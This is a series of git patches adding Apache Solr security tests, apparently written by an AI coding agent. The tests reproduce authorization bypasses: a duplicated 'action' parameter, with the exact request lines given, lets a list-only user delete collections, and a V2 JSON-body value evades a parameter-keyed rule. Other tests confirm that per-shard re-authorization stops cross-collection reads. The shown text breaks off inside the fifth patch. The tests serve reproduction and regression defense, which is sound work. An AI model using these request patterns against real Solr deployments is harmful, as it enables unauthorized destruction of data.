From a5f8491af9c92977bc4ade7776951af35d1587f2 Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 11:34:16 +0000 Subject: [PATCH 1/6] Add reproduction test for v1 admin authz param-duplication bypass Demonstrates that custom (params-based) RuleBasedAuthorization rules match with any-value semantics (Permission.load + context.getParams().getParams()) while the admin handlers execute on the first value (params.get -> arr[0]). Supplying a security-relevant param twice lets a decoy authorized value make a narrow permission govern the request while the handler runs a different, unauthorized value (e.g. RELOAD allowed_collection authorizes DELETE forbidden_collection). The test asserts current (vulnerable) behavior and so serves as a reproduction; once a fix lands, the bypass cases should assert FORBIDDEN. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- .../BaseTestRuleBasedAuthorizationPlugin.java | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) diff --git a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java index ff36661b79d3..269e448704dd 100644 --- a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java +++ b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java @@ -29,6 +29,7 @@ import org.apache.http.auth.BasicUserPrincipal; import org.apache.solr.SolrTestCaseJ4; import org.apache.solr.common.params.MapSolrParams; +import org.apache.solr.common.params.MultiMapSolrParams; import org.apache.solr.common.params.SolrParams; import org.apache.solr.common.util.CommandOperation; import org.apache.solr.common.util.Utils; @@ -426,6 +427,108 @@ public void testAllPermissionDeniesActionsWhenUserIsNotCorrectRole() { , FORBIDDEN); } + /** + * Demonstrates the parameter-duplication authorization bypass for v1 admin APIs. + * + *

Custom permission {@code params} matching uses any-value semantics + * ({@link Permission#load} iterates every value of {@code getParams(key)} and matches if any + * value satisfies the rule), while the Collections API executes using + * {@code params.get(key)} which returns the first value. By supplying a security + * param more than once, an attacker can make a narrow permission "govern" the request (and thus + * grant access) while the handler executes a different, unauthorized value. + */ + @Test + public void testDuplicateParamAuthorizationBypass() { + assumeThat("Test uses an inline user-role map specific to RuleBasedAuthorizationPlugin", + createPlugin(), is(instanceOf(RuleBasedAuthorizationPlugin.class))); + + @SuppressWarnings("unchecked") + Map dupRules = (Map) Utils.fromJSONString( + "{" + + " user-role : {" + + " limited : reload_only," + + " super : admin_role" + + " }," + + " permissions : [" + + " {name:reload_allowed_only, collection:null, path:'/admin/collections'," + + " params:{action:RELOAD, name:allowed_collection}, role:reload_only}," + + " {name:all, role:admin_role}" + + " ]}"); + + // 1. Legitimate narrow request by the limited user: RELOAD allowed_collection -> permitted. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MapSolrParams(Map.of("action", "RELOAD", "name", "allowed_collection"))) + , STATUS_OK, dupRules); + + // 2. Baseline: a plain DELETE of a forbidden collection by the limited user -> FORBIDDEN. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MapSolrParams(Map.of("action", "DELETE", "name", "forbidden_collection"))) + , FORBIDDEN, dupRules); + + // 3. The bypass: dangerous values FIRST (what params.get returns and what the handler executes), + // authorized decoy values second. e.g. + // POST /admin/collections?action=DELETE&name=forbidden_collection + // body: action=RELOAD&name=allowed_collection + Map bypassMap = new HashMap<>(); + bypassMap.put("action", new String[]{"DELETE", "RELOAD"}); + bypassMap.put("name", new String[]{"forbidden_collection", "allowed_collection"}); + MultiMapSolrParams bypass = new MultiMapSolrParams(bypassMap); + + // The Collections API would execute the FIRST (URL) value: an unauthorized DELETE. + assertEquals("DELETE", bypass.get("action")); + assertEquals("forbidden_collection", bypass.get("name")); + + // Authorization, however, sees the decoy authorized values and grants access. + // This assertion documents the CURRENT (vulnerable) behavior: STATUS_OK. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", bypass) + , STATUS_OK, dupRules); + + // 4. Reverse ordering: authorized values first, dangerous values second. Here the handler would + // execute the AUTHORIZED first value (RELOAD allowed_collection), so this is not an + // escalation -- but authorization still permits it. + Map reverseMap = new HashMap<>(); + reverseMap.put("action", new String[]{"RELOAD", "DELETE"}); + reverseMap.put("name", new String[]{"allowed_collection", "forbidden_collection"}); + MultiMapSolrParams reverse = new MultiMapSolrParams(reverseMap); + assertEquals("RELOAD", reverse.get("action")); + assertEquals("allowed_collection", reverse.get("name")); + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", reverse) + , STATUS_OK, dupRules); + + // 5. Duplicate the action only, but NOT the name. The permission constrains BOTH action and + // name, so the attacker must supply a matching decoy for every constrained param. Here the + // name does not match the rule, so the narrow permission does not apply, the request falls + // through to the 'all' permission and is correctly FORBIDDEN for the limited user. + Map actionOnlyMap = new HashMap<>(); + actionOnlyMap.put("action", new String[]{"DELETE", "RELOAD"}); + actionOnlyMap.put("name", new String[]{"forbidden_collection"}); + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MultiMapSolrParams(actionOnlyMap)) + , FORBIDDEN, dupRules); + } + @Test public void testShortNameResolvesPermissions() { assumeThat("ExternalRBAPlugin doesn't use short name", From d5908ff9013b625e7be344a4341a8dd014a84e3d Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 12:01:02 +0000 Subject: [PATCH 2/6] Add SolrCloud IT showing collection-param does not bypass per-collection read authz A search request's entry-node authorization is keyed on the URL/path collection, while distributed execution routes by the 'collection' request param (CloudReplicaSource), and a form-body 'collection' value is invisible to the entry-node check. This test demonstrates that the asymmetry does not leak data across collections: the fan-out shard sub-request is independently re-authorized against the original principal and denied (403). Guards that per-shard re-authorization control against regression. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- ...ectionParamAuthzBypassIntegrationTest.java | 190 ++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java diff --git a/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java new file mode 100644 index 000000000000..ac889a5739c2 --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java @@ -0,0 +1,190 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.client.solrj.request.UpdateRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.SolrInputDocument; +import org.apache.solr.common.cloud.DocCollection; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * End-to-end SolrCloud test for the "collection" parameter authorization asymmetry on search APIs. + * + *

There is a genuine asymmetry: entry-node authorization scopes a search request to the + * collection(s) derived from the URL/path only (the {@code queryParams} computed in + * {@link org.apache.solr.servlet.HttpSolrCall}), while distributed execution resolves its target + * collections from the {@code collection} request param read off the merged request params + * ({@code CloudReplicaSource.params.get("collection")}). Since an + * {@code application/x-www-form-urlencoded} body is merged into the params after the URL params, a + * {@code collection} value supplied in the POST body is invisible to the entry-node authorization + * check yet honored by execution. + * + *

This test demonstrates that the asymmetry nonetheless does not result in a + * cross-collection data leak: when the request fans out to {@code colB}, the internal shard + * sub-request carries the original user principal and is independently re-authorized against + * {@code colB}'s permissions, which denies it (403). Per-shard re-authorization is the mitigating + * control. This test guards that control against regression. (Contrast with collection admin + * APIs, where a single authorization decision is followed by Overseer execution with no second + * gate -- see the duplicate-param finding for {@code /admin/collections}.) + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class CollectionParamAuthzBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String ALICE = "alice"; // may read colA only + private static final String ALICE_PASS = "alicePass"; + + private static final String COL_A = "colA"; + private static final String COL_B = "colB"; + + private static final String COL_A_DOC_ID = "A1_public"; + private static final String COL_B_DOC_ID = "B1_secret"; + + @BeforeClass + public static void setupCluster() throws Exception { + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + ALICE, getSaltedHashedValue(ALICE_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + ALICE, List.of("reader_a")), + "permissions", + List.of( + // alice's role may read colA ... + Map.of("name", "read", "collection", COL_A, "role", "reader_a"), + // ... but reading colB requires a role alice does not have + Map.of("name", "read", "collection", COL_B, "role", "reader_b"), + // everything else (incl. collection admin) is admin-only + Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + + withAdmin(CollectionAdminRequest.createCollection(COL_A, "conf", 1, 1)).process(client); + withAdmin(CollectionAdminRequest.createCollection(COL_B, "conf", 1, 1)).process(client); + cluster.waitForActiveCollection(COL_A, 1, 1); + cluster.waitForActiveCollection(COL_B, 1, 1); + + UpdateRequest ua = withAdmin(new UpdateRequest()); + ua.add(new SolrInputDocument("id", COL_A_DOC_ID)); + ua.commit(client, COL_A); + + UpdateRequest ub = withAdmin(new UpdateRequest()); + ub.add(new SolrInputDocument("id", COL_B_DOC_ID)); + ub.commit(client, COL_B); + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + private static String baseUrlFor(String collection) { + DocCollection dc = getCollectionState(collection); + return dc.getSlices().iterator().next().getLeader().getBaseUrl(); + } + + /** POST a urlencoded body to {baseUrl}/{collectionPath}/select as the given user; returns [status, body]. */ + private static String[] postSelect(String baseUrl, String collectionPath, String body, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + HttpPost post = new HttpPost(baseUrl + "/" + collectionPath + "/select"); + post.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + post.setEntity(new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8))); + HttpResponse resp = cl.execute(post); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + @Test + public void testCollectionParamCannotBypassPerCollectionReadAuthorization() throws Exception { + final String baseA = baseUrlFor(COL_A); + final String baseB = baseUrlFor(COL_B); + + // Control 1: alice may read colA via its own path. + String[] okA = postSelect(baseA, COL_A, "q=*:*&wt=json", ALICE, ALICE_PASS); + assertEquals("alice should be allowed to read colA; body=" + okA[1], "200", okA[0]); + assertTrue("colA result should contain colA's doc; body=" + okA[1], okA[1].contains(COL_A_DOC_ID)); + assertFalse("colA result must not contain colB's doc; body=" + okA[1], okA[1].contains(COL_B_DOC_ID)); + + // Control 2: alice may NOT read colB via its own path -> 403. + String[] denyB = postSelect(baseB, COL_B, "q=*:*&wt=json", ALICE, ALICE_PASS); + assertEquals("alice must be forbidden from reading colB directly; body=" + denyB[1], "403", denyB[0]); + + // Attack: alice POSTs to colA (entry-node authz is keyed on the path collection colA and admits + // the request) but puts collection=colB in the form body so execution fans out to colB. + String[] attack = postSelect(baseA, COL_A, "q=*:*&collection=" + COL_B + "&wt=json", ALICE, ALICE_PASS); + + // The security-critical invariant: colB's document must NOT be returned to alice. The colB + // shard sub-request is re-authorized against the original principal and denied, so the overall + // request fails (403) and no colB data leaks. + assertFalse( + "SECURITY: alice (authorized only for colA) must not receive colB's document via a body " + + "'collection' param. status=" + attack[0] + " body=" + attack[1], + attack[1].contains(COL_B_DOC_ID)); + assertEquals( + "cross-collection fan-out to colB must be denied by per-shard re-authorization; body=" + attack[1], + "403", attack[0]); + } +} From 36e15910b388915c08b08158a4553ade29ee646b Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 12:16:37 +0000 Subject: [PATCH 3/6] Add SolrCloud IT proving end-to-end duplicate-param authz bypass on collection admin A user restricted by a custom params permission to a single harmless action (LIST) escalates to deleting arbitrary collections by supplying 'action' more than once: authorization matches the decoy LIST value (any-value semantics) while CollectionsHandler executes the first value (DELETE). Unlike distributed search, collection admin has no second authorization gate before Overseer execution, so the unauthorized DELETE actually runs. Covers both the URL-vs-form -body split and pure URL duplication. Also documents that duplicating 'name' (per the original hypothesis) instead breaks the DELETE because 'name' is consumed as a multi-value array, so the working exploit duplicates only 'action'. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- ...nsDuplicateParamBypassIntegrationTest.java | 219 ++++++++++++++++++ 1 file changed, 219 insertions(+) create mode 100644 solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java diff --git a/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java new file mode 100644 index 000000000000..f1712c14b61f --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java @@ -0,0 +1,219 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.client.methods.HttpRequestBase; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.cloud.ZkStateReader; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * End-to-end SolrCloud test proving the duplicate-parameter authorization bypass for v1 collection + * admin APIs. + * + *

Custom permission {@code params} matching uses any-value semantics (a permission applies if + * any submitted value of a param matches the rule), while {@link + * org.apache.solr.handler.admin.CollectionsHandler} executes using {@code params.get(...)} (the + * first value). By supplying {@code action}/{@code name} more than once -- once with the + * dangerous values and once with the authorized decoy values -- a user restricted by a custom + * permission to a single harmless operation can make that permission govern the request (granting + * access) while the handler executes the dangerous operation. + * + *

Unlike distributed search (which re-authorizes each shard sub-request), collection admin + * performs a single authorization decision and then executes via the Overseer with no second gate, + * so the bypass results in the unauthorized operation actually running. This test demonstrates the + * bypass by having a "reload only" user delete a collection they are not authorized to touch. + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class AdminCollectionsDuplicateParamBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String ALICE = "alice"; // may only run the harmless LIST action + private static final String ALICE_PASS = "alicePass"; + + private static final String VICTIM_FORMBODY = "victimFormBody"; + private static final String VICTIM_URLDUP = "victimUrlDup"; + + @BeforeClass + public static void setupCluster() throws Exception { + // alice's role may ONLY run the read-only LIST collection-admin action. collection:null marks + // this as a collection-admin permission (the bucket consulted for ADMIN requests). A HashMap is + // used because Map.of cannot hold a null value. + // + // The permission constrains only 'action'. This matters: 'action' is selected by the handler + // via params.get(...) (first value), so duplicating it drives the bypass cleanly. The original + // hypothesis also duplicated 'name', but the DELETE path consumes 'name' as the full multi-value + // array, so a duplicated 'name' becomes a String[] and the delete errors out (a target collection + // named "[Ljava.lang.String;@..." is not found) -- accidentally thwarting that exact variant. + Map listPerm = new java.util.HashMap<>(); + listPerm.put("name", "list_only"); + listPerm.put("collection", null); + listPerm.put("path", "/admin/collections"); + listPerm.put("params", Map.of("action", "LIST")); + listPerm.put("role", "list_role"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + ALICE, getSaltedHashedValue(ALICE_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + ALICE, List.of("list_role")), + "permissions", + List.of( + listPerm, + // everything else is admin-only + Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + for (String c : List.of(VICTIM_FORMBODY, VICTIM_URLDUP)) { + withAdmin(CollectionAdminRequest.createCollection(c, "conf", 1, 1)).process(client); + cluster.waitForActiveCollection(c, 1, 1); + } + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + private static String anyBaseUrl() { + return cluster.getJettySolrRunner(0).getBaseUrl().toString(); + } + + /** Executes a raw admin request as the given user; returns [status, body]. */ + private static String[] adminRequest(HttpRequestBase req, String body, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + req.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + if (body != null && req instanceof HttpPost) { + ((HttpPost) req).setEntity( + new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8))); + } + HttpResponse resp = cl.execute(req); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + // Checked via ZooKeeper cluster state (no authorization involved) so the existence check itself + // is not affected by the restrictive 'list_only' permission used in this test. + private static boolean collectionExists(String name) throws Exception { + ZkStateReader zr = cluster.getSolrClient().getZkStateReader(); + zr.forceUpdateCollection(name); + return zr.getClusterState().hasCollection(name); + } + + @Test + public void testDuplicateActionBypassExecutesUnauthorizedDelete() throws Exception { + final String base = anyBaseUrl(); + final String adminColl = "/admin/collections"; + + // Control 1: alice's legitimate, narrowly-permitted operation works (LIST). + String[] list = adminRequest( + new HttpGet(base + adminColl + "?action=LIST&wt=json"), null, ALICE, ALICE_PASS); + assertEquals("alice should be allowed to LIST; body=" + list[1], "200", list[0]); + + // Control 2: alice's plain DELETE of a collection she is not authorized for is FORBIDDEN, and + // the collection survives. + String[] plainDelete = adminRequest( + new HttpGet(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY), null, ALICE, ALICE_PASS); + assertEquals("plain DELETE by alice must be forbidden; body=" + plainDelete[1], "403", plainDelete[0]); + assertTrue("victim must still exist after a forbidden delete", collectionExists(VICTIM_FORMBODY)); + + // Attack A (URL vs form body): dangerous action in the URL, authorized decoy action in the body. + // 'name' is single-valued (only in the URL) so the delete targets a real collection. + // POST /admin/collections?action=DELETE&name=victimFormBody + // body: action=LIST + HttpPost formAttack = new HttpPost(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY); + String[] attackA = adminRequest(formAttack, "action=LIST", ALICE, ALICE_PASS); + assertEquals( + "BYPASS: request was authorized via decoy body action; body=" + attackA[1], "200", attackA[0]); + waitUntilGone(VICTIM_FORMBODY); + assertFalse( + "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a decoy body " + + "'action' param", + collectionExists(VICTIM_FORMBODY)); + + // Attack B (pure URL duplication, no body): works on any method, here GET. + // GET /admin/collections?action=DELETE&action=LIST&name=victimUrlDup + String[] attackB = adminRequest( + new HttpGet(base + adminColl + "?action=DELETE&action=LIST&name=" + VICTIM_URLDUP), + null, ALICE, ALICE_PASS); + assertEquals("BYPASS: request was authorized via a duplicate URL 'action' param; body=" + attackB[1], + "200", attackB[0]); + waitUntilGone(VICTIM_URLDUP); + assertFalse( + "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a duplicate URL " + + "'action' param", + collectionExists(VICTIM_URLDUP)); + } + + private static void waitUntilGone(String name) throws Exception { + final long deadline = System.nanoTime() + 30_000_000_000L; + while (System.nanoTime() < deadline) { + if (!collectionExists(name)) return; + Thread.sleep(200); + } + } +} From 41b2179fc4a718c4209f494a5bacad464bd023a6 Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 12:59:05 +0000 Subject: [PATCH 4/6] Add IT: multi-collection param smuggling cannot defeat per-shard re-auth Probes whether naming an authorized collection alongside the target (comma-list in body/URL, triple duplication, target-first) can get the shard sub-request past the target node's authorization, exploiting that authorize() is any-of over the collection list. It cannot: a shard sub-request targets a specific core and is re-authorized against that core's own collection, and the forwarded 'collection' value travels in the sub-request body -- invisible to the URL-only params that build the authorized collection list at the target -- so the target never short-circuits on the authorized collection. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- ...ectionParamAuthzBypassIntegrationTest.java | 55 +++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java index ac889a5739c2..3c4f94f0cd08 100644 --- a/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java +++ b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java @@ -23,6 +23,7 @@ import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.ContentType; import org.apache.http.entity.StringEntity; @@ -187,4 +188,58 @@ public void testCollectionParamCannotBypassPerCollectionReadAuthorization() thro "cross-collection fan-out to colB must be denied by per-shard re-authorization; body=" + attack[1], "403", attack[0]); } + + /** GET {baseUrl}/{collectionPath}/select?{query} as the given user; returns [status, body]. */ + private static String[] getSelect(String baseUrl, String collectionPath, String query, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + HttpGet get = new HttpGet(baseUrl + "/" + collectionPath + "/select?" + query); + get.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + HttpResponse resp = cl.execute(get); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + /** + * Refined attack: try to defeat the per-shard re-authorization by "smuggling" extra collection + * values -- naming an AUTHORIZED collection (colA) alongside the target (colB) as a comma-list (in + * the body and in the URL) and via triple duplication. The intent is to exploit that (a) + * {@code authorize()} returns OK on the first collection in the list that has a governing + * permission (any-of), and (b) the shard sub-request forwards the original {@code collection} + * value. + * + *

None of these leak colB. The decisive control: a shard sub-request targets a specific core + * and is re-authorized against that core's OWN collection (colB). The forwarded {@code collection} + * value rides in the sub-request body, which is invisible to the URL-only params that determine + * the authorized collection list at the target, so the target never short-circuits on colA. This + * test guards that control against regression. + */ + @Test + public void testMultiCollectionSmugglingCannotDefeatPerShardReauth() throws Exception { + final String baseA = baseUrlFor(COL_A); + final String list = COL_A + "," + COL_B; // authorized collection first + final String revList = COL_B + "," + COL_A; // target first + + String[][] attempts = { + postSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS), + getSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS), + getSelect(baseA, COL_A, + "q=*:*&collection=" + COL_A + "&collection=" + COL_B + "&collection=" + COL_A + "&wt=json", + ALICE, ALICE_PASS), + postSelect(baseA, COL_A, "q=*:*&collection=" + revList + "&wt=json", ALICE, ALICE_PASS), + }; + + for (String[] r : attempts) { + assertFalse( + "SECURITY: alice (authorized only for colA) must never receive colB's document. " + + "status=" + r[0] + " body=" + r[1], + r[1].contains(COL_B_DOC_ID)); + } + } } From aa60045ec3553ce89990eb960c0244febe0fde7c Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 13:18:37 +0000 Subject: [PATCH 5/6] Add IT confirming custom authz param rules don't see V2 JSON-body params V2HttpCall parses a JSON request body into a content stream, not into SolrParams; the command is parsed only at execution time via getCommands(), after authorize(). So a custom RuleBasedAuthorization permission keyed on params:{name:...} cannot see a name supplied in a V2 JSON command body. The test pins this with an A/B on POST /____v2/collections: a guard rule keyed on params:{name:supersecret} denies the request when name is in the query string, but is bypassed (collection created) when the same name is in the JSON body. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- .../V2JsonBodyParamAuthzIntegrationTest.java | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java diff --git a/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java new file mode 100644 index 000000000000..95faae61715b --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java @@ -0,0 +1,174 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.cloud.ZkStateReader; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * Confirms that a custom authorization rule that matches on a parameter does NOT see a value + * supplied in a V2 JSON request body, because the JSON command body is not parsed into request + * params before authorization runs. + * + *

